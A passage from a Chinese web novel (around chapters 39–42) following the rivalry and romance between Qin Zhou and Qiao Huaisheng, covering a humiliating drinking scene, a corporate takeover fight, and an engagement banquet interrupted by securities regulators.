如果他当时都是谁都可以替代, 那么现在呢?无权无势的现在? “都可以,”乔淮生手臂搭在车窗边, 语气里其实带了几分纵容的询问的,“不然,秦总还想做什么呢?” 秦舟垂下眼。 却突然想起秦之昭说的——你应该很恨你吧,你以为他现在会怎么对你? 其实从五年前离开的时候,就应该料到现在的景象了。 只是……如果他失去一切,换来的只是现在这样的话,如果乔淮生还可以有别的选择别的注视的话, 那怎么可以呢? “多谢秦总的好意了,不过这两个,我大概哪个都暂时做不了。” 秦舟帮乔淮生关上了门:“雨天路滑, 开车小心。” “好,”乔淮生点点头, 是五年前一样的,略有些无所谓的微笑, “好。” 黑色的卡宴疾驰而去, 溅起的雨水弄脏了秦舟的裤脚, 他静静地看着车辆消失在视线里,这才撑伞继续往前走。 五年来, 秦舟没有给自己购置过任何房产。 但说起来,他名下还是有一套房的。 那栋老小区的破旧房子,在老太太和顾江海死后自动归到了他的名下, 秦舟穿过电线凌乱到如同蛛网凝结的小巷,停在溅满雨水的楼下。 时隔五年,老城区到处都在拆迁,唯有这一片还跟以前一样, 破旧又肮脏,时间仿佛从未在这里留下任何痕迹。 甚至连门锁都没换,秦舟用有些生锈的钥匙打开门,推门进去,整个人却愣住了—— 里面……不再是他当初那个陈旧狭窄的家。 客厅和厨房做了连通,进门的地方打了一排鞋柜,地板上铺着舒适的羊绒地毯,正中央的墙壁上还挂了一个投影仪。 这不是他小时候住的那个老房子。 这是……曾经他和乔淮生,差一点可以称之为家的地方。 房间里打扫得很干净,好似在他离开的这五年里,还有谁经常到访这里,甚至居住。 秦舟往里走了两步,才看到摆在茶几后面的玫瑰,鲜艳漂亮,上面的花瓣带着点露水。 空气里还有淡淡的香水味,秦舟指尖猛地一颤。 一瞬间,他开始想要知道乔淮生刚刚到底想要带他去哪里。 * “哟,这不是秦总吗?” “怎么,几天不见,在这儿当上酒保了?” 私人酒庄的客户其实很固定,转来转去也不过这几个圈子,秦舟一抬头,就看到几张熟悉的面孔。 当初在乔淮生去到锦城之后,在校友会上奚落他的。 现在被流放的成了秦舟,这些墙头草门自然也将目光放到了他的身上。 “当时秦总多厉害啊,您一句话,我们全都吓坏了。” “现在也应该轮到秦总了是不是?”那人笑容里带着几分得意,“来来来,给我们倒个酒。” 秦舟低垂着眉目,弯下腰开了酒瓶,将摆放着的酒杯倒满。 “要我说,还是得我们秦总能屈能伸,你瞧瞧这服务态度!” “当然了,秦总之前做的不就是这个吗?现在也就是老本行吧。” “哎呀呀,我都忘了,我们秦总原来一开始不姓秦啊,你说这泥地里出来果然就是不行啊,”那人端着酒杯洋洋得意,“你看,刚威风了没几天,现在还不是被乔淮生给拉下来了。” “看看现在,果然还是被秦之昭给扔出来了不是,人家到底还是亲生的父亲,你这只是个隔了几层的叔叔,现在失了宠,这还能再回宫吗?” “啧啧啧,就是说啊。”那人手指点点桌面,“来来来,秦总,给这儿也倒满。” 桌面的中央是一个足足可以装下几瓶酒的巨量玻璃杯,一般酒局上出现这个,不是前辈要给不懂事的后辈立威,就是故意惩罚犯了错的人。 可现在,他们摆在这里,羞辱的意味就很明显了。 秦舟一连开了三瓶,杯子才被倒满。 “这个年份的勃朗宁,秦总应该很难再尝到了吧,”那人挑衅般地看着秦舟,“今天算是我心情好,开这么几瓶给你尝尝。” “秦总,”那人的目光得意又恶心,“你可要一点不剩,全都喝了啊。” 秦舟微微拧起了眉。 纵缰的私人酒庄也不是什么都接待,按照这人的档次,大概率是进不来的。 但是他今天还是出现在了这里,甚至能刚好点到秦舟服务。 他无法不猜测这是有人授意。 不过他现在这样,或许也正是秦之昭想要看到的。 给予再收回,把你的自尊踩在脚下,再告诉你权势的重要,他向来知道怎么控制一个人。 不过……从很久以前,秦舟便不会因为这些有什么情绪波动了。 这个世界上,能够控制他的,能够让他感到自卑的、难过的、愤怒的,从来都只有一个人。 或许是秦舟的那双眼睛有些过分凌厉,那人居然觉得这么被他看着,有一种要被弄死的错觉,浑身一抖:“你……” 可谁知,秦舟却在这个时候将酒杯端了起来,一副无所谓的模样:“好啊,那就多谢姚总了。” 喉结滚动,鲜红的酒液沾湿唇角,这种酒杯最让人觉得羞辱就是杯口过大,不仅要用手臂一直托举着,稍微一动,那些多余的酒液就会顺着杯口落下来,淅淅沥沥地弄湿全身。 可秦舟的手臂却一直很稳,绷直的衬衫上显示出流畅的肌肉线条,鲜红如同潮水一般渐渐褪去,却一滴都没有洒下来。 唯有那脸色渐渐地有些苍白——这酒的度数并不低,没吃晚饭就这么多烈酒下肚,胃部很快变得疼痛灼烧,秦舟隐隐皱起眉,指骨却因此握得更紧。 “我去,秦总好酒量啊!” “不会是之前锻炼的吧?秦总之前在会所,应该没少看陪酒的活?” “可惜了,这可还有一半呢,秦总之前为了乔淮生发那么大脾气,怎么你现在落魄了,人家可踩着你风光了吧?” “不好意思,”包厢门突然被推开,“我怎么好像听到,有人叫我的名字?” 骨节分明的手按在秦舟的手臂上,将那杯酒给拿了下来,眼神扫过他按着胃部的手,语气冰冷:“我说怎么最近都见不要姚总。” “原来是喜欢喝酒啊。” “早说啊, ”乔淮生笑了声,“我这里刚到了几瓶陈年老酒,正愁着没有人品味呢。” “快把酒带过来给姚总尝尝。” 很快有人搬着酒液进了门,整整三十箱,像是小山一样堆满。 当日他们就是说了乔淮生几句,就被秦舟疯狗一样狙击了那么久。 现在也不过是让秦舟喝了三瓶酒,乔淮生就抬了三十箱过来。 “不是喜欢喝酒吗?你们帮我好好看着点姚总。” 乔淮生明明一直笑着,却比秦舟更令人胆寒:“这些酒不喝完,千万不要让他们离开这个房间一步。” 他仿佛已经料想到了众人的丑态,冷笑道:“吃喝拉撒,都要在这里。” 说罢,才转头望了秦舟一眼:“还不走?” 包厢的门被关上,乔淮生一把拎起秦舟的领带,微微眯起眼睛:“我还以为,秦总拒绝我,是找到了多好的归宿。” “原来是在这里重操旧业啊。” “怎么,”乔淮生扫过他按着胃部的那只手,语气冰冷,“我倒是不知道,秦总还有陪酒的兴趣?” “没有,”秦舟静静道,“只是我也没有资格拒绝。” 乔淮生嗤笑一声:“你还有这么听话的时候。” “我以为……”秦舟抬头,“这应该是你想看的。” 乔淮生指尖一松,却秦舟却向前一步,声音因为酒液而浸泡得沙哑:“五年前,你恨我吗?” “……生生?” 他也许真的喝醉了,不然怎么会在这个时候想起。 乔淮生把他的家里装修成这样,不拆迁不换钥匙,在这五年来,他又多少次期待着有人推开那扇门呢? 乔淮生猛地转身,将桌上的盒子砸到了秦舟身上:“恨你,你算是什么东西!” “滚!” 如果秦舟没有看到那个房间里的一切,或许真的会信。 但是现在,他看了看手里的胃药,轻轻地勾起唇角笑了下,借着酒精的灼烧,猛地抓着乔淮生的腰身,将人按在了桌上。 手指滑过乔淮生眼下的泪痣:“你在心疼我吗,乔淮生?” 乔淮生浑身一颤:“谁他妈……” “不要心疼我,”秦舟的手爱怜地在他的侧脸上摸了摸,“不要心疼我。” 刚回来在酒局见到乔淮生的时候,秦舟用了很长时间去思考,当时那个滴酒不沾的淮少,到底是怎么变成了现在这样推杯换盏的样子。 答案明明那么简单,可是他却不敢再想下去。 就像是不敢再踏进那扇门。 “要恨就做到底。” 秦舟望着乔淮生的眼睛,他说:“因为,这五年……你给人陪酒的时候。” “也没有人来心疼过你。” 可明明,眼底最心疼的那个人,是他才对。 第40章 第四十章 “我觉得我前男友好像诈尸了…… 好几天, 乔淮生都没有再踏入那间酒庄。 事实上确实也不归他管,毕竟是秦舟现在还是姓秦, 无论如何,秦之昭不会让他真的死在那的。 更何况,秦舟还长了一张和秦彦那么像的脸。 “乔总,”车子行驶在高架上,乔淮生按下耳麦,听到来人说,“纵缰的股票现在已经跌到低点了, 现在……” “买入!” 车子转了个弯,乔淮生冷冷道:“放出消息,就说恒盛要全面对纵缰进行收购, 不管外面有多少股,我们全都要!” “可是这样……” “资金的事情你不用管, 我来想办法!” “让媒体造势就行了, ”乔淮生说, “总之在今天股市收盘前, 我需要看到纵缰至少5%的持股。” 卡宴拐进车流, 停在一所别墅门口,挂了电话, 乔淮生这才进门:“爸。” 乔南山端坐在客厅,当初被乔淮生砸碎的那些花瓶,现在已经被更贵的补上, 乔南山品着茶,见到他来,又给乔淮生倒了一杯:“坐。” “纵缰的事情,都忙得差不多了?” “应该吧, ”凤凰单枞茶香味很足,但是乔南山用的水不对,反倒是妨碍了这种香味,不过乔南山一向如此,喜欢有名的大于实用的,乔淮生放下杯子,“消息一出,纵疆的股价跌了那么多。” “只要多费一点钱,在纵疆的董事会获得席位,到时候,整个宁市还不是我们说了算。” “多费一点钱?”乔南山拧起眉,“你说得轻巧,纵疆那样的公司,是一点钱就可以拿下的吗?” “我们马上还要竞标万茂城,哪来的这么多钱用在这里?” “人要真的想得到什么东西,不就是要冒险吗?” 乔淮生冷静地望着他:“战争就是你死我活,如果我们不动手,等秦之昭缓过劲来,你以为他会放过我们?” “您这么多年被他一直压着,”乔淮生循循善诱,“难道就不想喘口气?” “可……” “锦城那边名下不是有个保险公司嘛,拿它去加杠杆啊,放到银行里面走一遍,再随便找个什么来套壳,至少能翻这个数。” 乔淮生伸出手指比了一下,想清这个数字背后的意思,乔南山吓了一跳:“这么说是可以,但是上面前两年才下了命令,理财账户里的钱不允许拿来做金融风险投资。” “可那跟我们又有什么关系呢?”乔淮生说,“是锦城那边自己看到机会贪心不足,您放心,就算是真的出了事,也有莫骁去当替死鬼,找不到我们——更找不到你头上。” “锦城?” “对。”乔淮生轻轻勾了下唇角,“不然你以为,我之前让你送我去锦城,是为了干什么呢?” 从一开始,当莫骁把他骗去陵山的时候,乔淮生就没有打算放过他。 只不过他比秦舟更耐得住性子,也更有手段——用隐藏的,毫不费力地方式解决讨厌的人,是乔淮生从小就学会的事。 乔南山定定地看着这个儿子,每一次,当他觉得乔淮生的所作所为让他对他刮目相看的时候,乔淮生总会再一次刷新他对于印象里那个乖顺孩子的认知。 心中沉了沉,乔南山觉得自己居然在庆幸,还好,他们现在还是同一阵营。 还好,五年前,那个秦舟背叛了他。 “对了爸,”茶盏在手中转了个圈,乔淮生道:“我能不能把妈接回来住两天?” 乔南山警惕地抬起眼。 乔淮生却笑了下:“这两天在家天天盯股票也太无聊了。” “妈在家,我也好有个伴。” “要不然……”明明是笑着,乔淮生的语气却像是在威胁,“到时候不小心搞错了几个点,给公司造成什么损失,就不好了。” 乔南山微微眯起眼睛——他承认自己有拿着傅芸威胁乔淮生的意思,但是现在既然乔淮生这么有用,那么给他一点奖励也不是不可以。 “行啊,那你在家好好照顾妈妈,别忘了下个月的体检就行。” 乔淮生这才站起身:“对了爸,”他看了眼乔南山面前摆着的杯子,“以后这个茶还是不要用什么乱七八糟的冰川水吧,味太冲了。” 从乔南山那里出来,乔淮生将车子拐了个弯,驶进一户高楼里,电梯应声而开,入户是一座平层。其实比起高楼,乔淮生更喜欢这种能跟外界接触多的地方。 “乔总,东西已经给您搬好了,这些都是拍卖行送来的抵押物,清单和价目在这里,您看用不用清点一下?” “没事,先放这里吧。” 三亿现金并不是个小数目,为了买下那两枚戒指,除了存款,秦舟那边还送来很多投资产品。 东西堆满了乔淮生的客厅,空荡的房间一下子变得满满当当,乔淮生拿剪刀拆开其中一箱—— 里面全是包装完整的珠宝首饰。 收藏没什么规律,也不局限于什么大师品牌,但无一例外足够漂亮,没有喧宾夺主的华丽但是设计精巧。 是乔淮生会喜欢的款式。 购买清单从五年前到现在,仿佛有人从五年前赚到第一笔钱开始,就为了今天,收集着这些东西。 珠宝、古董、餐具、红酒……甚至还有家里的玩意儿摆件,无一不精美,但是都没有拆封过。 因为这其实也不是秦舟会喜欢的东西。 说起来,这么多年,乔淮生也不知道秦舟会喜欢些什么。 不管是饮食,家居,首饰,秦舟好像从来也没有表示过对什么的兴趣,只要乔淮生喜欢,他总是点头的。 乔淮生蹲下身,将最后一箱沉甸甸的箱子拆开—— 里面是一箱茶叶和几套瓷盏。 他不知道秦舟喜欢什么。 但是这个世界上,注意到乔淮生学过茶道的,只有秦舟一个人。 乔淮生垂下眼睛,就像秦舟站在那间屋子里一样,不由得想: 秦舟在这五年里,用自己的积蓄一点一点买下这些东西的时候,到底是想要在什么样的场景下送给他的呢? 车灯亮起,乔淮生再次开车驶了出去。车子在红灯停下,乔淮生换了个手机,才发现打来的电话。 “乔总,”宁斯与的声音在电话那头响起,“东西您收到了吗?” “虽然不知道是什么,但是我觉得……既然是秦总的东西,还是您亲自拆开比较好。” “谢谢。” “哎呀乔总跟我这么客气做什么,”宁斯与笑道,“白得了一个多亿,我现在应该要把您供起来还差不多。” “您放心,这批股票已经按您说的,在低点的时候买了纵缰的股票,是要跟恒盛进行股权合并吗?” “不用,”乔淮生摇了摇头,看了眼远处的夜色,“等股价开始回升,你找高点卖掉。” “卖掉?” “对。”乔淮生说,“然后,拿着这笔钱,等着秦之昭来找你。” 企业遇到做空,在资金不足的情况下,最常用的方式就是引入白衣骑士,即稀释自己原有股份,给公司找一个资产良好的第三方投资者。 “秦之昭?”这在之前简直压根接触不了的人,“他真的会来?” “是谁根本不重要,只要不是跟我有关系就行,”乔淮生嗤笑一声,“敌人都打到家门口了,那群老家伙就是再固执,不得放放血迎点客人。” 只是……秦之昭以为的骑士,真的是来守护他们的吗? 乔淮生轻轻地勾了勾唇角。 他等了这么多年,唯有这么一件事。 要么不做,既然开始,他不会再给秦之昭一丁点的活路。 看了眼不远处的夜色,酒庄里灯火通明,几个穿着衬衫的侍应生来来去去,乔淮生靠在车旁点了一根烟。 这么久了,他跟秦舟的那些误会也好仇恨也好,也到了该要结束的时候。 乔淮生心里很清楚,这五年秦舟或许从来没有一刻放下过一次,他当然也是一样。 但是直到那根烟抽完,乔淮生还是没有走过去。 要么不做,要么就留余地。 乔淮生这辈子真正想要的东西其实也不太多。 想要秦之昭尸骨无存算一个,秦舟,当然也算另一个。 * 翌日股市一开,恒盛收购纵缰的消息就大张旗鼓地放了出去,乔淮生很聪明,选了纵缰股权最分散的分公司下手,不过一夜就拿下了35%的控股权,直逼纵缰的总部。 对此,纵缰董事长秦之昭表示,将亲自注资十亿进行反收购,两相拉扯之下,纵缰的股价几乎像是过山车一样几番回转。 不过,这些听起来,似乎都跟秦舟没什么关系了。 “秦总,”程阮进入酒庄的时候,秦舟正挽起袖口往车上搬酒,忍不住道,“他们现在就让你干这个?!” 秦舟没说话,将箱子放上车,这才淡淡问:“怎么了?” “你都看到消息了吧?”程阮说,“那个乔淮生,他简直,简直是欺人太甚!” “现在公司都因为这件事乱成一团了,那几个老东西都说要闭市了!”程阮愤愤地一拳捶在墙上,“好好的公司,现在闭市算怎么回事?!” “秦总,你现在……” “我现在不是秦总了。”秦舟淡淡道,“你不用这么叫我。” “那怎么行?他们不知道,我还不清楚说,秦董就是想要锻炼一下你,家里又没什么别的人,以后纵缰还不是你……” “这些话,是你自己说的,还是秦董让你来告诉我的?” 程阮的话戛然而止。 但是秦舟也没有逼问,只是静静地点了一支烟,望着酒庄前方的一小片空地。 今天,那辆车倒是没有过来。 “如果是秦董,”秦舟说,“我现在的答案就是找一个合适的白衣骑士。” 他用乔淮生跟宁斯与解释时一样的语气道:“让那群老家伙放放血,找一个友好客人,总比放一头狼进来好。” 程阮暗暗记下秦舟的话,又小声道:“还有一件事,秦总,” “乔淮生……好像要订婚了。” 话音落地,滚烫的烟灰落在手心。 程阮拿出的新闻里,乔淮生搂着一人的肩膀出现在宴会上,媒体取了个很醒目的标题: “强强联合!乔少事业爱情双丰收!” “听说是个银行行长的千金,”程阮说,“如果是假的,恒盛肯定一早让公关澄清了!现在乔淮生正要对纵缰开刀,怎么会放过这种送到眼前的现金流!他们肯定……” “程阮,”秦舟打断他,“如果没有别的事的话,你可以回去了。” “我知道你还对他念着旧情!秦总,但是如果不是他,你现在怎会沦落到这一步,他这么对你,现在却又……” “程阮!” 烟蒂掐灭在指尖,秦舟冷冷地望了他一眼:“这辈子,我做的任何决定,从来都没有后悔过,包括现在。” 那双冷厉的眸子带着些许警告:“因为,这是我欠他的。” 程阮浑身一颤,一瞬间从秦舟的目光中读懂了些什么,只是小声道:“那,乔淮生订婚,你就真的不在乎吗?” 秦舟没有回答,他的电话却在这个时候响了起来。 “喂,您好,请问是顾先生吗?”电话那头道,“您的朋友喝醉了,您现在有时间来相逢酒吧接他一下吗,哦对了,他姓……” “顾舟,”酒保的话还没说完,一只手忽然抢过电话,乔淮生手肘撑在吧台上,眼中神色清明,嘴角含笑,可是出口的声音却带着浓厚的醉意,“你什么时候过来啊?” “乔淮生?” “嗯,”听筒那边很轻地应了一声,声音带着几分酒液泡过的娇气:“顾舟,” “我觉得我前男友好像诈尸了。” “你来接我回家吗?”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 40-44 第41章 第四十一章 “订婚宴” 秦舟走进酒吧的时候, 乔淮生已经趴在桌上不省人事,面前是一排已经开过的酒。秦舟隐隐皱起眉, 手指穿过乔淮生的发丛,问旁边的酒保:“他喝了多少?” 秦舟现在的穿着不比之前的秦总,出于安全考虑,酒保又多问了一句:“你是?” 秦舟看了一眼睡着的乔淮生:“他男朋友。” 谁知听到这一句,乔淮生突然睁开眼睛,那双漂亮眸子带着些朦胧,缓慢的语气像是醉话:“我男朋友早就死了。” 秦舟轻笑了一声。将刚刚的通话记录拿给酒保看, 解除嫌疑后,这才跟着坐下来,望着乔淮生。 “嗯, 可是他听说自己诈尸了,所以急着从棺材里跑出来了。” “怎么办呢乔总, ”秦舟轻轻抚摸乔淮生的头发,询问, “给一个复活的机会吗?” 乔淮生抬起眼:“我应该给你吗?” 秦舟望着他, 目光中带着几许宠溺, 或者还有点哀伤:“可是我还有什么可以给你的呢? 乔淮生想要的,想做的, 从回来到现在,他还有什么没帮他实现的呢? 但是乔淮生不再说话了,他好像真的喝醉了, 那双总是凌厉的眸子现在变得水汪汪的,很柔软的样子。 秦舟忍不住摸了摸他的头发,或许只有这种时候,他们之间才会有难得的平和。 “乔淮生, ”他忍不住问,“你做这么多,到底是真的想要纵疆,还是因为别的?” 他没有说别的是什么,但是好像,他们又都知道。 乔淮生轻轻地眨了下眼睛。 “你选一个,”秦舟说,“我送给你。” 空气开始变得安静,乔淮生不说话,秦舟就那么静静地望着他。 好半晌,乔淮生才动了动,双手勾住秦舟的脖子:“我想回家。” 秦舟笑了声。 “好。” 他半抱着乔淮生,将人扶了起来。 房门是用乔淮生的指纹解锁的,秦舟推开门—— 客厅的挂画是秦舟在法国那边拍下的,桌上摆着他寄来的一套无钻水晶杯,旁边的摆件是在纽约拿下来的第一个香薰案,让负责人帮他定制的玫瑰扩香石…… 那些曾经他送给乔淮生的东西,被乔淮生一点一点摆放在这里。 其实如果没有分开过,这里本来就该是他们之前的家。 戴着戒指的手指扣紧乔淮生的手,秦舟问:“喜欢吗?” 乔淮生站不稳,半靠在秦舟的肩上,事实上他这个时候不应该听懂秦舟的意思。 但是不知为何,他嗅着鼻尖的一点淡香,开口道:“茶很好喝。” “嗯,”秦舟说,“有一次回家见到你抛着茶杯玩,觉得你应该喜欢。” 但那其实应该是不经意的动作,没人要求秦舟知道这些。 但他依然记得。 他总是记得。 “还有一件,”秦舟说,“是我去到的第一年买的,但是还没来得及给你。” 秦舟松开手,手心里是一件水晶吊坠,那上面是他当年登了报的缺月设计。 乔淮生还记得当年它的设计词: 愿月亮永不坠落。 从五年前开始仰望的月亮,照进他瞳孔的第一眼,他就在这么许愿着了。 “乔淮生,”趁着他喝醉没有办法推开,秦舟将项链给他戴上了,他问,“你要订婚了吗?” 乔淮生没有说话。 秦舟的手指在他的后颈蹭了蹭:“真的要订婚吗?” 乔淮生还是没有说话。 秦舟吻在他的侧颈,吻在他的耳垂,又在背后抱着他的腰,吻在他的脸颊和嘴唇:“生生,生生。” 他又问:“真的要订婚吗?” 乔淮生轻轻地眨了一下,他其实不应该是在这个时候开口,但是好半晌,他忽然抬起头,眸光潋滟:“那我订婚,你来吗?” * 乔淮生订婚的消息终于还是传得沸沸扬扬。 婚宴定在20号,听说是个好日子,但是各大媒体登报的时候,上面的照片都只有乔淮生一个人的脸。 于是关于另一半的身份总是传得沸沸扬扬,有的说行长的女儿,有的说是市长的千金,甚至还有的说是什么国外认识的黑手党大小姐。 再加上,他最近对纵疆的大幅动作,半个月来,恒盛跟纵疆疯了一样厮杀,仅这么一点时间,恒盛就拿下了纵疆12.3%的股份,差一点就面临举牌,所有人都觉得乔淮生这个时候宣布订婚,另一半一定会是一个对战局有些至关重要的人物。 但是不管外面的人怎么说,乔淮生本人却从未公开表露过那人的身份。 不接受媒体的任何采访,也不回应任何猜测。 于是,所有人的目光都放在了这场订婚宴上。 * 车子只到学校面前的街道就停下。 校门口全是拿着小吃来来去去的大学生,是一段连电动车都很难开进来的路。 其实他跟乔淮生都很喜欢这样的日子,这样简单的、平淡的、轻易的喜乐,但是因为另一个人的存在,好像是生活的一切都因此有了意思。 只可惜,他们吻在一场鲜血里,结束在一场挣扎里。 从头到尾,也没有过过这么简单的日子。 绕过街道,秦舟静静地推开门。 老旧的纹身店里还满是尘埃的味道,曾经盘下来的人早就没有来过这里,来之前用过的材料也被清理了一遍。 秦舟将要用的东西放在旁边,随后揭开上衣,肌理分明的腰腹上带着一圈可怖的烟疤,尽管是已经过去多年,却像是有谁要保持烙印的新鲜一样,经年累月地向上叠加。 微凉的画笔像是手术刀一样穿梭在肌肤上,红色的笔迹在那一层薄薄的皮肤分割,直到渐渐显现出一朵玫瑰的形状。 当初的纹身被他完美地复刻了出来,时至今日,秦舟终于有机会进行最后的补色。 秦舟的手很稳,纹身针蚂蟥一样扎进皮肤,可是他却眉头都没有皱过一下。 等待纹身显色的过程,秦舟这才摸出口袋里的另一枚戒指。 刻了半个月的素戒,只剩下最后一笔,秦舟手上的刀刃换了个方向,眉目沉静,垂头镂刻着。 直到外面暮色四合,身上的花重新变得鲜艳、骄矜、漂亮。 他才终于站起身,换了一套衣服。 和之前上班的时候不同,他穿了一件剪裁精致的黑色西装,比起上班时多了几分古雅庄重,胸口还特意戴了一枚玫瑰胸针。 比起秦舟之前出席场合的时候,这样几乎有些过分庄重了,不像是去随意参加什么典礼。 倒像是,他也可能是主角之一。 * “秦总,你怎么过来了?” 乔南山一开口,乔淮生跟着回过头,便看到秦之昭推着轮椅,从门口的方向进来。 秦之昭的腿脚不好,这种场合是一向不会参加的。 只是今天,居然破天荒地出现在了现场,还是对家的订婚宴。 媒体的长枪短炮立刻对了过来,看着秦之昭微微一笑,来到乔南山的身边:“当然是来恭喜乔董。” “毕竟二十多年前的这个时候,这里也曾经办过这样的一场宴席不是吗?那时候的地板可真红啊,”秦之昭的手指紧紧地抓着轮椅边缘,简直是要连指缝一起扎进皮革里,可他还是在笑着,“乔董一定知道,他是怎么回事吧?” “我当然记得,”乔南山冷笑了一声,“我还记得,如果不是秦董您在家里将人当成耻辱一样对待,也许那天的事根本就不会发生。” “说起来,我们都有罪,但是那又怎么样呢,”乔南山俯下身,以一种羞辱的姿势,将杯子与秦之昭的碰了一下,“你看,现在坐在这里没了双腿的人是你。” “而接受着这么多恭贺,迎接胜利的人,却是我们。” “明天收盘,恒盛就会正式举牌纵缰,到时候,还请秦董一定要出席董事会。” “来,”乔南山挥挥手叫来乔淮生,“生生,跟秦董问声好。” 乔淮生这才端着酒杯迈步走过来。 他穿了一身纯白西装,灯光下长身玉立,总是张扬的性子难得在今天收敛了很多,胸口处插着一只白玫瑰,俨然一副新郎官的样子。 只是那指骨上依然空空荡荡,没有任何戒指的痕迹。 “乔大少爷,”秦之昭看他一眼,“能把我逼到这个份上,你倒是比你爸强上许多。” 乔淮生望着这个少年期曾经让你自己觉得绝望窒息的人,走到今天,那种恐惧好似突然就消失了。 顾舟说得对,就算是秦彦真的死了,死在了他父母的订婚宴上。 就算他们都有罪。 先该去死的,也应该是他身边的这两位才对。 乔淮生嗤笑了一声:“但是我觉得还不够啊。” “起码秦董,您还是能大摇大摆地进来跟我说话不是吗?” “果然是长大了,”秦之昭说,“秦舟要是能有你一半的狠心,也不会让纵缰落到现在这样。” “秦董教子无方,这一点,总不能也怪在我的头上。” “我知道你在等什么!” 秦之昭说:“但是你怎么就能确定,一定就能等到呢?” 五年前他就是这样让人恶心,时至今日依然是这样,乔淮生隐隐皱起眉,听到秦之昭道:“秦舟可不是阿彦。” “你在锦城背着他做下那些事的时候,怎么就能确定,他一点都不知情的呢?” “又是怎么能确定,他就一点后手都没有?” 心头重重一跳。 门口突然传来一阵喧哗。 秦舟到了。 和白色那样匹配的黑金色西装,指骨上戴着戒指,灯光下风度翩翩。 像是主角,又像是最后的裁判。 第42章 第四十二章 “我们分手了” 乔淮生回过头, 看秦舟从另一侧走过来。 曾经无数次他想象过这样的场景。 秦舟穿着西装,应该会有准备好的戒指, 从礼堂的另一端走过来。 不需要观众,也不需要宾客,只有他们两个。 也只是他们两个。 秦舟望着他,轻轻地笑了一下,于是乔淮生也笑了一下。 手中的酒杯递给侍者,乔淮生的步子往前迈了下,正要向前。 几个穿着西装的人从秦舟身后显出身来, 先他一步,穿过满堂的宾客,来到乔淮生面前。 “乔先生, 我们是证监会的,您被举报涉嫌违规资产操作, 请您配合我们去调查。” “怎么回事?” “恒盛出事了?” “证监会都找到这里来了,肯定不是小事吧, 这还能不能出来了?” 笑容凝结在脸上, 乔淮生看着几人走过来, 沉闷的黑色在此刻成了无形的镣铐。 “怎么可能,你们是不是弄错了!”乔南山往前一步, “我们对纵缰的收购是正常的商业行为,跟他有什么关系!” “有证据显示,乔淮生先生将锦盛保险的资金进行违规高风险操作, 现在请配合我们进行问询。” “还有,乔南山先生,我们将正式通知您,在案件查清之前, 我们将对恒盛的资产进行冻结,作为恒盛的董事,请您这两天暂时不要离开本市,随时准备好传唤。” “行了乔董,”乔南山还要上前,秦之昭推着轮椅拦着他,“我知道您在订婚宴上闹出这样的事不好看,但是你这样一再阻拦,岂不是更让大家觉得恒盛有问题?” 乔南山:“是你?!” “当然不是,我都说了,这不是我们之间的战争,”秦之昭得意地回过头,望向正朝着这里走来的秦舟,“这要感谢我这位好侄子啊。” “要不是他从锦城给我带来消息,我怎么能知道哪里是七寸呢?” “听说恒盛加了那么好大杠杆,就是等着沽空纵缰,现在资产冻结,账应该很难还上吧,有这个时间,不如好好想想怎么跟银行求情。” “行了爸!”乔淮生拉住想要冲上去的乔南山,“不就是调查吗?我跟你们去就是了。” 两排工作人员隔出一条路,彬彬有礼让出一条路:“请吧,乔先生。” “好。” 乔淮生起身往前走。路过礼堂的时候,正好与赶来的秦舟擦肩。 锦城…… 一瞬间,乔淮生突然想起,郁明的那句—— “我今天见到秦总跟莫骁的那个秘书见面了。” 秦之昭说得对。 这局是很早之前就布下的。 在他自以为是已经胜券在握的时候,秦舟在做些什么呢? “隐忍了这么久,就是为了今天过来看我摔下来?” 乔淮生冷笑一声:“我是不是该夸你一句。” “果然啊,会咬人的狗,永远都是养不熟的。” 秦舟张了张嘴:“乔……” “别说话,”乔淮生说,“我现在一点也不想听到你说话。” “我说过,你跟我之间,不死不休,”乔淮生缓缓走过去,将领口的那支玫瑰拔下来,“只要我活着,这场仗就还不算完。” 玫瑰被插进秦舟的领口,黑色西装被白色点缀,看起来像是要出席什么葬礼。 可今天分明是场婚宴。 秦舟死死地抓着乔淮生的手腕,将要阻止他的进一步动作,指骨沿着他手指望上收拢:“乔淮生,” 乔淮生想要将手指抽出来,却被他死死地按在胸口,乔淮生不让他开口,但他还是道:“你那天说的,我答应你。” “不死不休……”秦舟说,“我会做到。” 秦舟没有说是哪一天,乔淮生也没有问,手指松开,手腕是被攥紧后留下的红痕。 乔淮生跟着证监会的人离开了。 秦舟才终于放下了另一只紧握着的、戴着戒指的手,指甲伸进肉里,掌心一片模糊。 * “谁让你动他的!” 拳头砸在轮椅边缘,鲜血从掌心里渗出,秦舟一把将秦之昭从轮椅上拎出来,力道之大,像是把他掐死:“我告诉过你,我只有这一个底线!” “你答应我过我!你只动乔南山一个人的!为什么碰他!” “咳咳咳……”秦之昭猛地咳嗽起来,脸上却依然带着狞笑,“是你先背叛我的,秦舟。” “在锦城的时候,乔淮生想要做什么,我不信你真的没有看出来。” “可是你怎么做的呢,他一招手你就要什么给什么,甚至差点动手杀人,”秦之昭说,“真是白费了我这五年对你的苦心!” “苦心?什么苦心!”秦舟说,“你指的是,将我扔进深山里跟狼群学血性,还是扔进赌场里六个月学计谋?” “我记得警告过你。” 在他去锦城的那一天,车子就停在轮椅前。 而现在,秦舟似乎没有了再跟他虚与委蛇的打算,直接将人整个人拎了起来:“秦之昭,你应该知道,我当初为什么答应你?” 秦之昭的身体被他狠狠地撞在墙上,猛咳了两声:“你要干什么!秦舟,你要杀了我吗?!” 秦舟想起乔淮生今天在礼堂里的样子,冷笑了一声:“你以为我不敢吗?” 秦之昭的脸色发紫,秦舟的眼神那样冷,让他一瞬间想起他刚见到这个人的时候。 他丝毫不怀疑,秦舟是真的可能杀掉他。 “可以啊,”秦之昭狞笑着,“不过你猜我死了,那群人会怎么对付乔淮生?” “连你都被抓进去……” 秦之昭笑起来:“恒盛如果真的出了事,他的那个便宜父亲,会不会保他?” 垂在身侧的手指颤抖,攥紧的指骨让戒指嵌入血肉。 秦舟看着秦之昭恶心的、令人生厌的脸。 他其实比谁都清楚,他和乔淮生之间到底是怎么分开的。 * “我不需要叔叔。”顾舟面无表情地说出这句话。 对面秦之昭的眼神冷了一瞬,但很快又恢复刚刚那副笑盈盈的样子:“没关系,叔叔知道,是我没能及时把你找回来。” “但是当年你堂哥出事之后,我的腿也断了,这才耽搁了这么久。”对面的秦之戴着一副金丝眼镜,他想要伪装的时候很容易让人觉得斯文友善,“但是小舟,这么多年我一直在找你,”秦之昭望着秦舟,目光里带着几分怀念和憎恶,“你跟你堂哥年轻的时候长得真像。” 